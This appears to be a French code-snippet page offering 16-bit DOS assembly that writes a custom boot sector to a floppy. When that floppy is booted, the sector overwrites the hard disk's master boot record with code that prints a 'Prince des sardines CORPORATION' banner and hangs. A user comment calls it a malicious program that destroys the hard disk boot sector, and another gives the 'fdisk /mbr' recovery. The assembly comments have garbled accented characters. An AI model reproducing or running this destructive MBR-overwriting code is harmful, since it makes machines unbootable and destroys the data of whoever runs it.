Soyez le premier à donner votre avis sur cette source.
Snippet vu 6 695 fois - Téléchargée 28 fois
BITS 16 ;Set code generation to 16 bit mode ORG 0x0100 ;Set code start address to 0100h SEGMENT .text ;Main code segment jmp start ;saut au d?but du prog ; --- Donn?s diverses --- first db 'Ins?rez une disquette et appuyez sur une touche...',13, 10, '$' msgErr db 'Erreur pendant ?criture sur disquette...', 13, 10, '$' okay db 'A fini correctement VIVE PRINCE DES SARDINES !!!', 13, 10, '$' floppybuf resb 512 ;tableau repr?sente secteur de disquette ; --- Initialisation --- start: ;d?but du prog mov ax, cs mov ds, ax mov es, ax ; --- Ecrit message et attend l'appui d'une touche --- ;?crit mov ah, 09h mov dx, first int 21h ;attend l'appui mov ax, 0C08h int 21h ; --- Copie secteur dans floppybuf --- mov si, debut_Disquette mov di, floppybuf mov cx, 512 rep movsb ; --- pour le compte des erreurs --- xor ax, ax ;on met ax a 0 ; --- On copie le code de la disquette dans buffer --- copie_disquette: ;on met ax dans la pile push ax ;recalibre la disquette mov ah, 00h mov dl, 0 ;drive 0 int 13h ;?crit le secteur mov ax, 0301h ;1 secteur mov dx, 0 ;t?te et lecteur de disquette mov ch, 0 ;cylindre 0 mov cl, 1 ;premier secteur de disquette mov bx, floppybuf ;pointeur sur tableau int 13h ;si correct fin jc erreur mov ah, 09h mov dx, okay int 21h jmp fin ;si erreur erreur: pop ax inc ax cmp ax, 5 jl copie_disquette ;message d'erreur et fin du prog mov ah, 09h mov dx, msgErr int 21h jmp fin ; --- Termine le programme --- fin: mov ax, 4C00h int 21h ; --- Code ? copier sur une disquette --- jmp debut_Disquette hardbuf resb 512 ;tableau repr?sente secteur de disque dur ; --- Initialisation --- debut_Disquette: mov ax, cs mov es, ax mov ds, ax ; --- Affiche OK --- mov ah, 0Eh mov al, 'O' mov bl, 4 int 10h mov al, 'K' int 10h ; --- Copie secteur dans hardbuf --- mov si, debut_DisqueDur+7C00h mov di, hardbuf+7C00h mov cx, 512 rep movsb copie_disque_dur: ;on recalibre le disque dur mov ah, 00h mov dl, 80h ;disque dur 1 int 13h ;on ?crit le secteur mov ax, 0301 ;?crit un secteur mov ch, 0 ;cylindre 0 mov cl, 1 ;secteur 1 mov dh, 0 ;t?te 0 mov dl, 80h ;pour le disque dur mov bx, hardbuf+7C00h ;pointeur sur tableau int 13h ;si pas d'erreur affiche K puis boucle infinie jnc bien ;si erreur jmp copie_disque_dur ;affiche ! pour signaler la r?ussite bien: mov ah, 0Eh mov al, '!' mov bl, 4 int 10h ;entame une boucle infinie (disquette) boucle_floppy: jmp boucle_floppy ; --- Code ? copier sur le disque dur --- debut_DisqueDur: ;initialisations mov ax, cs mov ds, ax mov es, ax ;affiche une cha?ne de caract?res mov ah, 0Eh mov al, 'P' mov bl, 4 int 10h mov al, 'r' int 10h mov al, 'i' int 10h mov al, 'n' int 10h mov al, 'c' int 10h mov al, 'e' int 10h mov al, '_' int 10h mov al, 'd' int 10h mov al, 'e' int 10h mov al, 's' int 10h mov al, '_' int 10h mov al, 's' int 10h mov al, 'a' int 10h mov al, 'r' int 10h mov al, 'd' int 10h mov al, 'i' int 10h mov al, 'n' int 10h mov al, 'e' int 10h mov al, 's' int 10h mov al, ' ' int 10h mov al, 'C' int 10h mov al, 'O' int 10h mov al, 'R' int 10h mov al, 'P' int 10h mov al, 'O' int 10h mov al, 'R' int 10h mov al, 'A' int 10h mov al, 'T' int 10h mov al, 'I' int 10h mov al, 'O' int 10h mov al, 'N' int 10h ;boucle infinie boucle_hard: jmp boucle_hard ; --- Fin du code disque dur ---
Grace a ce code, j'ai crée un programme malfaisant.
Qui détruit le secteur de boot DD et utilise le code de FSC.
(Fonction Sauvegarde Cachée)
envoyer resulta quand tu fini ^^
@+
*Démarrez avec disquette MS-DOS
*Tapez : fdisk /mbr
:-) @++
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.